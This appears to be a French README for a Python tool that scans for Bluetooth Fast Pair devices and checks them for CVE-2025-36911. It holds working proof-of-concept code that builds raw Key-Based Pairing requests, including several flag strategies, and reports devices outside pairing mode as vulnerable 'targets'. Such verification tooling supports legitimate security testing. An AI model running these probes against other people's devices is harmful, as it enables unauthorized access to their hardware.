# Installation
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
pip install -e .

# Exécuter l'interface interactive
whisperpair

╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗
║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝
╚╩╝╩ ╩╩╚═╝╩  ╚═╝╩╚═╩  ╩ ╩╩╩╚═

────────────── Menu Principal ──────────────

  1  Scanner    Détecter les appareils Fast Pair à proximité
  2  Vérifier   Tester la vulnérabilité de l'appareil (nécessite autorisation)
  3  Infos      Obtenir des informations détaillées sur l'appareil
  4  À propos   En savoir plus sur CVE-2025-36911
  0  Quitter    Quitter l'application

Sélectionnez une option [1] :

import asyncio
from whisperpair import scan_devices, verify_device, get_device_info

# Scanner les appareils Fast Pair
devices = asyncio.run(scan_devices(timeout=10))
for d in devices:
    print(f"{d.address} - {d.name} - Risque : {'ÉLEVÉ' if not d.is_in_pairing_mode else 'Faible'}")

# Trouver uniquement les appareils vulnérables (pas en mode appairage)
vulnerable = asyncio.run(scan_devices(vulnerable_only=True))

# Vérifier un appareil spécifique (NÉCESSITE AUTORISATION)
result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF"))
if result.success:
    print(f"VULNÉRABLE - Fournisseur : {result.provider_address}")

# Obtenir les informations de l'appareil
info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF"))
print(f"Modèle : {info['model_name']}")

from whisperpair import (
    # Scanner
    FastPairScanner,
    FastPairDevice,
    
    # Client  
    FastPairClient,
    VerificationResult,
    
    # Protocole
    KeyBasedPairingRequest,
    KeyBasedPairingResponse,
    PairingRequestFlags,
    parse_bluetooth_address,
    parse_kbp_response_multi_strategy,
    
    # Crypto
    FastPairCrypto,
    aes_128_encrypt,
    aes_128_decrypt,
    generate_account_key,
    
    # Constantes
    FAST_PAIR_SERVICE_UUID,
    KEY_BASED_PAIRING_CHAR_UUID,
    KNOWN_MODEL_IDS,
)

# Scanner personnalisé avec callbacks
def on_found(device: FastPairDevice):
    if not device.is_in_pairing_mode:
        print(f"[!] Cible potentielle : {device.address}")

scanner = FastPairScanner(timeout=15, on_device_found=on_found)
asyncio.run(scanner.scan())

# Construire des paquets de protocole bruts (flags 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE)
target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF")
request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes)
packet = request.build()  # Texte clair de 16 octets

# Plusieurs stratégies de vérification disponibles :
# - strategy_raw_kbp()      - flags 0x11, fonctionne sur la plupart des appareils vulnérables
# - strategy_with_seeker()  - flags 0x02, inclut l'adresse du chercheur
# - strategy_retroactive()  - flags 0x0A, contourne certaines vérifications
# - strategy_extended()     - flags 0x10, pour les appareils plus récents

# Flux personnalisé complet (clé AES optionnelle - la détection de réponse seule indique la vulnérabilité)
async with FastPairClient("AA:BB:CC:DD:EE:FF") as client:
    model_id = await client.read_model_id()
    result = await client.verify_pairing_behavior()  # Aucune clé nécessaire pour la détection
    if result.response_received:
        print("VULNÉRABLE - l'appareil a répondu alors qu'il ne le devrait pas")

python examples.py scan              # Scan basique
python examples.py vulnerable        # Trouver des appareils vulnérables
python examples.py verify AA:BB:CC:DD:EE:FF
python examples.py custom            # Scanner avec callbacks

whisperpair

# Scanner les appareils
whisperpair scan
whisperpair scan --vulnerable
whisperpair scan --timeout 15

# Obtenir les informations de l'appareil
whisperpair info AA:BB:CC:DD:EE:FF

# Vérifier la vulnérabilité (nécessite des flags)
whisperpair verify AA:BB:CC:DD:EE:FF --authorized

# En savoir plus sur la vulnérabilité
whisperpair about

ATTENDU : L'appareil vérifie "Suis-je en mode appairage ?" → NON → Rejeter
RÉEL :   L'appareil accepte la demande quel que soit l'état du mode

DIY_WhisperPair/
├── src/whisperpair/
│   ├── __init__.py      # Exportations de l'API publique
│   ├── scanner.py       # Découverte d'appareils BLE
│   ├── client.py        # Client GATT et vérification
│   ├── protocol.py      # Constructeurs de paquets
│   ├── crypto.py        # AES-128, ECDH, clés
│   ├── constants.py     # UUID, IDs de modèles
│   └── cli.py           # CLI interactif
├── examples.py          # Extraits de code prêts à copier-coller
├── security_demo.py     # Démo de vérification autonome
├── LEGAL.md
└── README.md

git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
pip install -e .